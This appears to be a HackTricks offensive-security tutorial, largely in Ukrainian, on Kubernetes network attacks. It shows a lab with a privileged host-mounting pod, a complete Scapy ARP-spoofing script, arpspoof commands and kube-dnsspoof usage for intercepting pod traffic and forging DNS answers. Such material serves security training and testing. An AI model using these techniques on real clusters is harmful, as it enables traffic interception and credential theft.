Kubernetes Network Attacks

Reading time: 9 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Introduction

У Kubernetes спостерігається, що за замовчуванням дозволяється встановлення з'єднань між усіма контейнерами, що знаходяться на одному вузлі. Це стосується незалежно від відмінностей у просторах імен. Таке з'єднання поширюється до Layer 2 (Ethernet). Внаслідок цього така конфігурація потенційно піддає систему вразливостям. Зокрема, це відкриває можливість для зловмисного контейнера виконати ARP-спуфінг-атаку проти інших контейнерів, розташованих на тому ж вузлі. Під час такої атаки зловмисний контейнер може обманом перехоплювати або змінювати мережевий трафік, призначений для інших контейнерів.

ARP-спуфінг-атаки передбачають, що зловмисник надсилає підроблені ARP (протокол розв'язання адрес) повідомлення через локальну мережу. Це призводить до зв'язування MAC-адреси зловмисника з IP-адресою легітимного комп'ютера або сервера в мережі. Після успішного виконання такої атаки зловмисник може перехоплювати, змінювати або навіть зупиняти дані в процесі передачі. Атака виконується на Layer 2 моделі OSI, саме тому стандартне з'єднання в Kubernetes на цьому рівні викликає занепокоєння з приводу безпеки.

У сценарії буде створено 4 машини:

  • ubuntu-pe: Привілейована машина для втечі до вузла та перевірки метрик (необхідна для атаки)
  • ubuntu-attack: Зловмисний контейнер у стандартному просторі імен
  • ubuntu-victim: Жертва машина в просторі імен kube-system
  • mysql: Жертва машина в стандартному просторі імен
yaml
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
bash
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Основи мережевої взаємодії Kubernetes

Якщо ви хочете більше деталей про мережеві теми, представлені тут, перейдіть до посилань.

ARP

Загалом, мережеве з'єднання pod-to-pod всередині вузла доступне через міст, який з'єднує всі поди. Цей міст називається “cbr0”. (Деякі мережеві плагіни встановлять свій власний міст.) cbr0 також може обробляти ARP (протокол розв'язання адрес) розв'язання. Коли вхідний пакет надходить до cbr0, він може розв'язати MAC-адресу призначення за допомогою ARP.

Цей факт означає, що за замовчуванням кожен под, що працює в одному вузлі, зможе спілкуватися з будь-яким іншим подом в тому ж вузлі (незалежно від простору імен) на рівні ethernet (рівень 2).

warning

Тому можливі атаки ARP Spoofing між подами в одному вузлі.

DNS

У середовищах kubernetes ви зазвичай знайдете 1 (або більше) сервісів DNS, які зазвичай працюють у просторі імен kube-system:

bash
kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

У попередній інформації ви можете побачити щось цікаве, IP сервісу - 10.96.0.10, але IP поду, що виконує сервіс, - 172.17.0.2.

Якщо ви перевірите DNS-адресу всередині будь-якого поду, ви знайдете щось подібне:

cat /etc/resolv.conf
nameserver 10.96.0.10

Однак, под не знає, як дістатися до цієї адреси, оскільки діапазон подів у цьому випадку становить 172.17.0.10/26.

Тому под надішле DNS запити на адресу 10.96.0.10, яка буде перекладена cbr0 на 172.17.0.2.

warning

Це означає, що DNS запит пода завжди буде йти до мосту, щоб перекласти IP-адресу сервісу на IP-адресу кінцевої точки, навіть якщо DNS сервер знаходиться в тій же підмережі, що й под.

Знаючи це, і знаючи, що ARP атаки можливі, под у вузлі зможе перехопити трафік між кожним подом у підмережі та мостом і модифікувати DNS відповіді від DNS сервера (DNS Спуфінг).

Більше того, якщо DNS сервер знаходиться в тому ж вузлі, що й атакуючий, атакуючий може перехопити всі DNS запити будь-якого пода в кластері (між DNS сервером і мостом) і модифікувати відповіді.

ARP Спуфінг у подах в одному вузлі

Наша мета - викрасти принаймні комунікацію від ubuntu-victim до mysql.

Scapy

bash
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

bash
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Як вже згадувалося, якщо ви зламали под в тому ж вузлі, що й под DNS-сервера, ви можете MitM з ARPSpoofing мосту та DNS пода і модифікувати всі DNS-відповіді.

У вас є дійсно гарний інструмент та посібник для тестування цього в https://github.com/danielsagi/kube-dnsspoof/

У нашому сценарії, завантажте інструмент в поді атакуючого і створіть файл з назвою hosts з доменами, які ви хочете спуфити, наприклад:

cat hosts
google.com. 1.1.1.1

Виконайте атаку на машину ubuntu-victim:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
bash
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

note

Якщо ви спробуєте створити свій власний скрипт для спуфінгу DNS, якщо ви просто змініть відповідь DNS, це не буде працювати, тому що відповідь буде мати src IP адресу зловмисного под і не буде прийнята.
Вам потрібно згенерувати новий DNS пакет з src IP DNS, куди жертва надсилає DNS запит (що є чимось на зразок 172.16.0.2, а не 10.96.0.10, це IP адреса сервісу K8s DNS, а не IP адреса DNS сервера, більше про це в вступі).

DNS спуфінг через coreDNS configmap

Користувач з правами запису на configmap coredns в просторі імен kube-system може змінювати відповіді DNS кластера.

Перевірте більше інформації про цю атаку в:

{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}

Зловживання відкритими сервісами управління kubernetes

Сервіси, такі як Apache NiFi, Kubeflow, Argo Workflows, Weave Scope та панель управління Kubernetes, часто відкриті або для інтернету, або в межах мережі kubernetes. Зловмисник, який зможе знайти будь-яку платформу, що використовується для управління kubernetes і отримати до неї доступ, може зловживати нею, щоб отримати доступ до API kubernetes і виконувати дії, такі як створення нових подів, модифікація існуючих або навіть їх видалення.

Перерахування мережевих політик kubernetes

Отримати налаштовані networkpolicies:

bash
kubectl get networkpolicies --all-namespaces

Отримати Callico мережеві політики:

bash
kubectl get globalnetworkpolicy --all-namespaces

Отримати Cillium мережеві політики:

bash
kubectl get ciliumnetworkpolicy --all-namespaces

Отримайте інші CRD, пов'язані з політикою, встановлені вашим мережевим плагіном або рішенням безпеки:

bash
kubectl get crd | grep -i policy

Захоплення Трафіку

Інструмент Mizu є простим, але потужним API переглядачем трафіку для Kubernetes, що дозволяє вам переглядати всю API комунікацію між мікросервісами, щоб допомогти вам у налагодженні та усуненні регресій.
Він встановить агенти в обраних подах і збиратиме їх інформацію про трафік, показуючи вам це на веб-сервері. Однак для цього вам знадобляться високі дозволи K8s (і це не дуже непомітно).

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks